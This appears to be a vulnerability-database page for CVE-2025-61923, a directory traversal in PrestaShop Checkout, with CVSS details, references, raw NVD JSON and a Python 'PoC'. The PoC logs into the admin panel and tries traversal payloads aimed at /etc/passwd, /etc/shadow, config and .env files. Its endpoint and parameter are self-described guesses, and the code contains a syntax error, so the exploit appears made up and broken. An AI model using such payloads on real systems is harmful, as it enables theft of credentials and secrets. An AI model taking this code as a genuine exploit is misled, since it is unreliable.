CVE-2025-61923

Description

PrestaShop Checkout is the PrestaShop official payment module in partnership with PayPal. In versions prior to 4.4.1 and 5.0.5, the backoffice is missing validation on input resulting in a directory traversal and arbitrary file disclosure. The vulnerability is fixed in versions 4.4.1 and 5.0.5. No known workarounds exist.

CVSS Details

CVSS Score

4.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:* - VULNERABLE

PrestaShop Checkout < 4.4.1

PrestaShop Checkout 5.0.0 ~ 5.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-61923 - PrestaShop Checkout Directory Traversal PoC
# Vulnerability: Missing input validation in backoffice leading to arbitrary file disclosure
# Affected: PrestaShop Checkout < 4.4.1 and < 5.0.5

import requests

# Target configuration
TARGET_URL = "https://target-prestashop-site.com"
ADMIN_PATH = "/adminXXXXX"  # PrestaShop admin path (randomized)
USERNAME = "admin_user"
PASSWORD = "admin_password"

# Create session
session = requests.Session()

# Step 1: Authenticate to PrestaShop backoffice
login_url = f"{TARGET_URL}{ADMIN_PATH}/index.php"
login_data = {
    "email": USERNAME,
    "passwd": PASSWORD,
    "submitLogin": "1"
}

session.post(login_url, data=login_data)

# Step 2: Exploit directory traversal to read arbitrary files
# The vulnerable endpoint in ps_checkout module accepts file path without validation
exploit_url = f"{TARGET_URL}{ADMIN_PATH}/index.php"

# Traversal payloads to test
payloads = [
    "../../../../../../etc/passwd",
    "../../../../../../etc/shadow",
    "../../../config/parameters.php",
    "../../../../app/config/parameters.php",
    "../../../.env",
}

for payload in payloads:
    params = {
        "controller": "AdminPsCheckout",
        "action": "readFile",  # Example vulnerable action
        "file": payload
    }
    
    response = session.get(exploit_url, params=params)
    
    if response.status_code == 200 and len(response.text) > 0:
        print(f"[+] Successfully read file with payload: {payload}")
        print(f"[+] Content preview: {response.text[:200]}")
        break
    else:
        print(f"[-] Failed with payload: {payload}")

# Note: Actual vulnerable parameter and endpoint may vary.
# Refer to the official advisory for precise exploitation details.
# https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-fpxp-pfqm-x54w

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61923
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61923
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61923/
[4] VulDB https://vuldb.com/cve/CVE-2025-61923
[5] https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-fpxp-pfqm-x54w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61923", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:38.987", "lastModified": "2025-12-29T20:06:09.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PrestaShop Checkout is the PrestaShop official payment module in partnership with PayPal. In versions prior to 4.4.1 and 5.0.5, the backoffice is missing validation on input resulting in a directory traversal and arbitrary file disclosure. The vulnerability is fixed in versions 4.4.1 and 5.0.5. No known workarounds exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:*", "versionEndExcluding": "7.4.4.1", "matchCriteriaId": "4A067D2B-B83F-4AC5-830A-077589B9F27A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:*", "versionStartIncluding": "7.5.0.1", "versionEndExcluding": "7.5.0.5", "matchCriteriaId": "36D48F64-2C0D-4DF7-9FBB-26FF21B9C71B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.4.4.1", "matchCriteriaId": "78BB8AD6-68E4-426F-B9D9-1810D37193D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:*", "versionStartIncluding": "8.5.0.0", "versionEndExcluding": "8.5.0.5", "matchCriteriaId": "CF84DA7C-A801-4366-8463-F6FD21A69263"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prestashop:prestashop_checkout:*:*:*:*:*:prestashop:*:*", "versionStartIncluding": "9.4.3.1", "versionEndExcluding": "9.5.0.5", "matchCriteriaId": "FBB531A1-D85B-4987-89FB-EC28C974301F"}]}]}], "references": [{"url": "https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-fpxp-pfqm-x54w", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}